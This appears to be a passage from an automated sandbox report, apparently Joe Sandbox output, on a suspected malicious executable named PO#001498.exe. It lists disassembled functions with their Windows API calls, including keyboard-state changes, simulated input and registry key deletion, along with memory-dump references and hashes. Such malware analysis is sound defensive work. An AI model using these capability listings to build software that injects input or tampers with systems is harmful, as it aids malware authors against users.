                                                                                                                                                                                                        Function 00443981 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetStdHandle.KERNEL32(?), ref: 004439B4
                                                                                                                                                                                                          • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(0000002C,00000000,00000000,00000002,76232EE0,00000000,004437E2,?,0000002C,00000000,?,?,?), ref: 004356BD
                                                                                                                                                                                                          • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(?,00000000,?,?,?), ref: 004356C1
                                                                                                                                                                                                          • Part of subcall function 0043569D: DuplicateHandle.KERNEL32(00000000,?,?,?), ref: 004356C4
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CurrentHandleProcess$Duplicate
                                                                                                                                                                                                        • String ID: nul
                                                                                                                                                                                                        • API String ID: 2124370227-2873401336
                                                                                                                                                                                                        • Opcode ID: 1f0ba76bcec97c73efa3faab39b1dec00fe260a428cb25b20c1b65e4e3d5eb1c
                                                                                                                                                                                                        • Instruction ID: e5202fea31d744cc2812a948a395a4146b23d8233fafbd02014e3d546f800e0b
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 1f0ba76bcec97c73efa3faab39b1dec00fe260a428cb25b20c1b65e4e3d5eb1c
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 8921A070104301ABE320DF28D886B9B77E4AF94B24F504E1EF9D4972D1E3B5DA54CBA6
                                                                                                                                                                                                        Function 00443887 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetStdHandle.KERNEL32(000000F6), ref: 004438B7
                                                                                                                                                                                                          • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(0000002C,00000000,00000000,00000002,76232EE0,00000000,004437E2,?,0000002C,00000000,?,?,?), ref: 004356BD
                                                                                                                                                                                                          • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(?,00000000,?,?,?), ref: 004356C1
                                                                                                                                                                                                          • Part of subcall function 0043569D: DuplicateHandle.KERNEL32(00000000,?,?,?), ref: 004356C4
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CurrentHandleProcess$Duplicate
                                                                                                                                                                                                        • String ID: nul
                                                                                                                                                                                                        • API String ID: 2124370227-2873401336
                                                                                                                                                                                                        • Opcode ID: 1c1504a6ed80816e8cc684f5e798812a6452e5ed6eae5ac994518d836d8835bd
                                                                                                                                                                                                        • Instruction ID: 183321404fa0000a7fb955016a75d3ae5bd0bbc3c7f5d4043dd6f74a8503dfc6
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 1c1504a6ed80816e8cc684f5e798812a6452e5ed6eae5ac994518d836d8835bd
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 4E2182701002019BE210DF28DC45F9BB7E4AF54B34F204A1EF9E4962D0E7759654CB56
                                                                                                                                                                                                        Function 004412AE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 84windowlibraryCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00441333
                                                                                                                                                                                                        • LoadLibraryW.KERNEL32(?,?,?,?,0047B4D0,?,?,?,?,?,?,?,?,?,00000000), ref: 0044133A
                                                                                                                                                                                                        • SendMessageW.USER32(?,00000467,00000000,?), ref: 00441352
                                                                                                                                                                                                        • DestroyWindow.USER32(00000000,?,00000467,00000000,?,?,?,?,0047B4D0,?,?,?,?,?,?), ref: 0044135B
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$DestroyLibraryLoadWindow
                                                                                                                                                                                                        • String ID: SysAnimate32
                                                                                                                                                                                                        • API String ID: 3529120543-1011021900
                                                                                                                                                                                                        • Opcode ID: 7eb070968e116bc4f0d30e0eba70c7f8d943bdaa5f5f9b6b4db71aa758301bcd
                                                                                                                                                                                                        • Instruction ID: 28effd0bdeb99d0e0a50349a2d6ccdc4655b9339127a2247ff1827a793b197f6
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 7eb070968e116bc4f0d30e0eba70c7f8d943bdaa5f5f9b6b4db71aa758301bcd
                                                                                                                                                                                                        • Instruction Fuzzy Hash: D0216271204301ABF7209AA5DC84F6B73ECEBD9724F104A1EF651D72E0D6B4DC818729
                                                                                                                                                                                                        Function 00443009 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 82windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • PeekMessageW.USER32(00000000,00000000,00000000,00000000,00000001), ref: 0044304E
                                                                                                                                                                                                        • TranslateMessage.USER32(?), ref: 0044308B
                                                                                                                                                                                                        • DispatchMessageW.USER32(?), ref: 00443096
                                                                                                                                                                                                        • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 004430AD
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Message$Peek$DispatchTranslate
                                                                                                                                                                                                        • String ID: *.*
                                                                                                                                                                                                        • API String ID: 1795658109-438819550
                                                                                                                                                                                                        • Opcode ID: a5394e60fa5dc12563cec3cf09e66162f870e5be06c650d2d1f2ad27f88770fd
                                                                                                                                                                                                        • Instruction ID: a39ada88e739a490af96418dc0f35d82e94fc94c1e76e22fe960a83301852fb1
                                                                                                                                                                                                        • Opcode Fuzzy Hash: a5394e60fa5dc12563cec3cf09e66162f870e5be06c650d2d1f2ad27f88770fd
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 9F2138715183419EF720DF289C80FA3B7949B60B05F008ABFF66492191E6B99608C76E
                                                                                                                                                                                                        Function 004609BD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                                          • Part of subcall function 004389A1: SendMessageTimeoutW.USER32(00000001,00000000,00000000,00000000,00000002,00001388,004848E8), ref: 004389C0
                                                                                                                                                                                                          • Part of subcall function 004389A1: GetWindowThreadProcessId.USER32(00000001,00000000), ref: 004389D3
                                                                                                                                                                                                          • Part of subcall function 004389A1: GetCurrentThreadId.KERNEL32 ref: 004389DA
                                                                                                                                                                                                          • Part of subcall function 004389A1: AttachThreadInput.USER32(00000000), ref: 004389E1
                                                                                                                                                                                                        • GetFocus.USER32 ref: 004609EF
                                                                                                                                                                                                          • Part of subcall function 004389EB: GetParent.USER32(?), ref: 004389F7
                                                                                                                                                                                                          • Part of subcall function 004389EB: GetParent.USER32(?), ref: 00438A04
                                                                                                                                                                                                        • GetClassNameW.USER32(?,?,00000100), ref: 00460A37
                                                                                                                                                                                                        • EnumChildWindows.USER32(?,00445A31,?), ref: 00460A60
                                                                                                                                                                                                        • __swprintf.LIBCMT ref: 00460A7A
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Thread$Parent$AttachChildClassCurrentEnumFocusInputMessageNameProcessSendTimeoutWindowWindows__swprintf_wcslen
                                                                                                                                                                                                        • String ID: %s%d
                                                                                                                                                                                                        • API String ID: 991886796-1110647743
                                                                                                                                                                                                        • Opcode ID: 4a64ff5b06e5e341b473abb9bc2bdd7182ed8da111ba9effa567358a3114916c
                                                                                                                                                                                                        • Instruction ID: 20a4aa43144560c0524e92d1094e5dcb4402c89d1d481f65a72662ac57dae138
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 4a64ff5b06e5e341b473abb9bc2bdd7182ed8da111ba9effa567358a3114916c
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 7521A4712403046BD610FB65DC8AFEFB7ACAF98704F00481FF559A7181EAB8A509877A
                                                                                                                                                                                                        Function 0040F790 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _memset$_sprintf
                                                                                                                                                                                                        • String ID: %02X
                                                                                                                                                                                                        • API String ID: 891462717-436463671
                                                                                                                                                                                                        • Opcode ID: 3d61b25fa3990800e5a694d7793c27d494b4b6e65897825e99c1223689708875
                                                                                                                                                                                                        • Instruction ID: c3235ccac5cd273424cb9b73a8b9e0f10e05fa8943de770f4571b5c3e9b76774
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 3d61b25fa3990800e5a694d7793c27d494b4b6e65897825e99c1223689708875
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 5B11E97225021167D314FA698C93BEE724CAB45704F50453FF541A75C1EF6CB558839E
                                                                                                                                                                                                        Function 0040F3B0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 49COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • _memset.LIBCMT ref: 0042CD00
                                                                                                                                                                                                        • GetOpenFileNameW.COMDLG32 ref: 0042CD51
                                                                                                                                                                                                          • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\PO#001498.exe,?,C:\Users\user\Desktop\PO#001498.exe,004A8E80,C:\Users\user\Desktop\PO#001498.exe,0040F3D2), ref: 0040FFCA
                                                                                                                                                                                                          • Part of subcall function 00410130: SHGetMalloc.SHELL32(00000000), ref: 0041013A
                                                                                                                                                                                                          • Part of subcall function 00410130: SHGetDesktopFolder.SHELL32(?,004A8E80), ref: 00410150
                                                                                                                                                                                                          • Part of subcall function 00410130: _wcscpy.LIBCMT ref: 00410160
                                                                                                                                                                                                          • Part of subcall function 00410130: SHGetPathFromIDListW.SHELL32(?,?), ref: 00410197
                                                                                                                                                                                                          • Part of subcall function 00410130: _wcscpy.LIBCMT ref: 004101AC
                                                                                                                                                                                                          • Part of subcall function 00410020: GetFullPathNameW.KERNEL32(?,00000104,?,?,?), ref: 00410037
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: NamePath$Full_wcscpy$DesktopFileFolderFromListMallocOpen_memset
                                                                                                                                                                                                        • String ID: $OH$@OH$X
                                                                                                                                                                                                        • API String ID: 3491138722-1394974532
                                                                                                                                                                                                        • Opcode ID: b307b7495d9e484b77ad3edce91dc90ef7c994e26f1a80758083a935cdf7c966
                                                                                                                                                                                                        • Instruction ID: e3e81f3fa603e1d093c5df9e9287f390c0398a0e5563e0e16fb911f44c5f658a
                                                                                                                                                                                                        • Opcode Fuzzy Hash: b307b7495d9e484b77ad3edce91dc90ef7c994e26f1a80758083a935cdf7c966
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 2111C2B02043405BC311EF19984175FBBE9AFD5308F14882EF68497292D7FD854DCB9A
                                                                                                                                                                                                        Function 0044C379 Relevance: 7.6, APIs: 5, Instructions: 137windowkeyboardCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetKeyboardState.USER32(?,?,00000001,00000001,?,00000000), ref: 0044C3DA
                                                                                                                                                                                                        • SetKeyboardState.USER32(00000080), ref: 0044C3ED
                                                                                                                                                                                                        • PostMessageW.USER32(00000000,00000105,?,?), ref: 0044C441
                                                                                                                                                                                                        • PostMessageW.USER32(00000000,00000101,?,?), ref: 0044C465
                                                                                                                                                                                                        • SendInput.USER32 ref: 0044C509
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: KeyboardMessagePostState$InputSend
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3031425849-0
                                                                                                                                                                                                        • Opcode ID: b49b686b41cf8e4dc8898cf8a112ca1a8544ab09a95107e5a7613c5accf95fc9
                                                                                                                                                                                                        • Instruction ID: f46f63d78903415e516a46676784f6fcea1caa301ceb581e17347d916cd8316d
                                                                                                                                                                                                        • Opcode Fuzzy Hash: b49b686b41cf8e4dc8898cf8a112ca1a8544ab09a95107e5a7613c5accf95fc9
                                                                                                                                                                                                        • Instruction Fuzzy Hash: DB413B715462446FF760AB24D944BBFBB94AF99324F04061FF9D4122C2D37D9908C77A
                                                                                                                                                                                                        Function 004422B9 Relevance: 7.6, APIs: 5, Instructions: 108registryCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • RegEnumKeyExW.ADVAPI32 ref: 004422F0
                                                                                                                                                                                                        • RegOpenKeyExW.ADVAPI32(?,00000000,00000000,?,?), ref: 0044232B
                                                                                                                                                                                                        • RegCloseKey.ADVAPI32(00000000), ref: 0044234E
                                                                                                                                                                                                        • RegDeleteKeyW.ADVAPI32(?,?), ref: 00442390
                                                                                                                                                                                                        • RegEnumKeyExW.ADVAPI32(?,00000000), ref: 004423C0
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Enum$CloseDeleteOpen
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2095303065-0
                                                                                                                                                                                                        • Opcode ID: 367b6e42355be36f427f5e4c5f923650598af64a8eac08207e4f2af605b886a1
                                                                                                                                                                                                        • Instruction ID: 24d8057b763805d248a02a33893b377b1579bd56aab3fff97e90bb3d062a49ad
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 367b6e42355be36f427f5e4c5f923650598af64a8eac08207e4f2af605b886a1
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 0C3150721043056EE210DF94DD84FBF73ECEBC9314F44492EBA9596141D7B8E9098B6A
                                                                                                                                                                                                        Function 0045C277 Relevance: 7.6, APIs: 5, Instructions: 105COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetPrivateProfileSectionW.KERNEL32(00000000,?,?,00007FFF), ref: 0045C2F4
                                                                                                                                                                                                        • GetPrivateProfileSectionW.KERNEL32(00000000,00000003,?,00000003), ref: 0045C31B
                                                                                                                                                                                                        • WritePrivateProfileSectionW.KERNEL32(00000000,00000003,?), ref: 0045C363
                                                                                                                                                                                                        • WritePrivateProfileStringW.KERNEL32(00000000,?,00000000,00000000), ref: 0045C385
                                                                                                                                                                                                        • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 0045C392
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: PrivateProfile$SectionWrite$String
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2832842796-0
                                                                                                                                                                                                        • Opcode ID: c76cc1094b5fb1fc43fcb7877a7661b5ae667b5fa7796de5023eb6f45200691f
                                                                                                                                                                                                        • Instruction ID: eb365ed5c03c4bb3a44f9ddbc5128f2f56e5f8affd5b6ace934fe40af23b551f
                                                                                                                                                                                                        • Opcode Fuzzy Hash: c76cc1094b5fb1fc43fcb7877a7661b5ae667b5fa7796de5023eb6f45200691f
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 00318675240305ABD610DFA1DC85F9BB3A8AF84705F00891DF94497292D7B9E889CB94
                                                                                                                                                                                                        Function 0044796B Relevance: 7.6, APIs: 5, Instructions: 96COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetClientRect.USER32(?,?), ref: 00447997
                                                                                                                                                                                                        • GetCursorPos.USER32(?), ref: 004479A2
                                                                                                                                                                                                        • ScreenToClient.USER32(?,?), ref: 004479BE
                                                                                                                                                                                                        • WindowFromPoint.USER32(?,?), ref: 004479FF
                                                                                                                                                                                                        • DefDlgProcW.USER32(?,00000020,?,?), ref: 00447A78
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Client$CursorFromPointProcRectScreenWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1822080540-0
                                                                                                                                                                                                        • Opcode ID: c356f0f93048ebf3c0a873f2be17aa192b5fb9472fb724aa4a6a449873fe30ba
                                                                                                                                                                                                        • Instruction ID: e9c1e18ea4fcc9a2ad4b32cd349e8b57ec7287094a91df3c43d19f1875151664
                                                                                                                                                                                                        • Opcode Fuzzy Hash: c356f0f93048ebf3c0a873f2be17aa192b5fb9472fb724aa4a6a449873fe30ba
                                                                                                                                                                                                        • Instruction Fuzzy Hash: DE3188742082029BD710CF19D88596FB7A9EBC8714F144A1EF88097291D778EA57CBAA
                                                                                                                                                                                                        Function 00447BAF Relevance: 7.6, APIs: 5, Instructions: 95COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetWindowRect.USER32(?,?), ref: 00447C1B
                                                                                                                                                                                                        • ScreenToClient.USER32(?,?), ref: 00447C39
                                                                                                                                                                                                        • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00447C4C
                                                                                                                                                                                                        • Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00447C93
                                                                                                                                                                                                        • EndPaint.USER32(?,?), ref: 00447CD1
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ClientPaintRectRectangleScreenViewportWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 659298297-0
                                                                                                                                                                                                        • Opcode ID: a6d698a2242c6caf7091173c4181dadfabb51550506680b35635a03376f271bc
                                                                                                                                                                                                        • Instruction ID: 653bb342b0117225c29b14224c0e663a7b864e912777eddc33bb147bcfad3e12
                                                                                                                                                                                                        • Opcode Fuzzy Hash: a6d698a2242c6caf7091173c4181dadfabb51550506680b35635a03376f271bc
